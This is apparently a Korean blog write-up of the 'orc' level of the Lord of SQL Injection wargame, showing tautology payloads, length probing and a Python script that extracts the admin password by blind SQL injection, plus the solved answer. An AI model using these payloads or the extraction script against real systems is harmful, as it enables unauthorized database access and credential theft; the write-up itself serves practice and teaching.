-
<Lord of SQL Injection> orcWargame/Lord of SQL Injection 2021. 11. 11. 14:25
GET 방식으로 'pw' 값을 전달받는다.
'id' 값이 참이면 "Hello admin"을 출력한다.
전달받은 'pw'에 싱글 쿼터('), 더블 쿼터("), 백 슬래시(\)가 있으면 그 앞에 '\'를 추가해서 전달받은 'pw' 값으로 한다.
그리고 'pw' 값이 참이고, 'pw' 값이 전달받은 'pw' 값이 같다면 문제가 풀린다.
우선 pw=1을 해보면
아무것도 출력되지 않는다.
or 문을 사용하여 'id' 값도 전달해야 하는 것 같다.
?pw=' or 1=1%23을 전달하면
"Hello admin"이 출력된다.
이를 통해 쿼리가 참이면 "Hello admin"이 출력되고, 거짓이면 아무것도 출력되지 않는 것을 짐작할 수 있다.
결과가 참과 거짓뿐이므로 Blind SQL Injection을 수행해 볼 수 있다.
우선, pw 값의 길이를 먼저 찾아야 한다.
?pw=' or length(pw) > 7%23을 입력하면
7보단 크다.
?pw=' or length(pw) > 8%23을 입력하면
이를 통해 pw의 값의 길이는 8인 것을 알 수 있다.
이제 한 글자씩 찾아야 한다.
파이썬 코드로 찾을 수 있다.
import requests baseurl = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' pw = '' want_str = '<h2>Hello admin</h2>' for i in range(1, 9): for j in range(33, 128): url = baseurl + "?pw=' or ord(substring(pw,{},1))={}%23".format(i, j) cookies={'PHPSESSID' : '7cfoal1urq5oid9efb2m1g9lju'} res = requests.get(url=url, cookies=cookies) if want_str in res.text: pw += chr(j) break print("pw : ", pw)
다른 사이트들의 문제들은 동작 코드가 따로 구현돼있어 참일 때 출력되는 구문이 1개만 출력된다. 하지만 이 문제의
경우, 동작 코드가 페이지에 나와있어 참일 때 출력되는 코드가 2개가 출력되어 앞에서 사용한 파이썬 코드를 사용할 수 없었다.
그래서 참일 때 출력되는 구문인 "<h2>Hello admin</h2>"이 있으면 pw 값에 추가하도록 했다.
이제 ?pw=095a9852를 입력하면 문제가 풀리게 된다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> darkelf (0) 2021.11.12 <Lord of SQL Injection> wolfman (0) 2021.11.11 <Lord of SQL Injection> goblin (0) 2021.11.11 <Lord of SQL Injection> cobolt (0) 2021.11.09 <Lord of SQL Injection> gremlin (0) 2021.11.07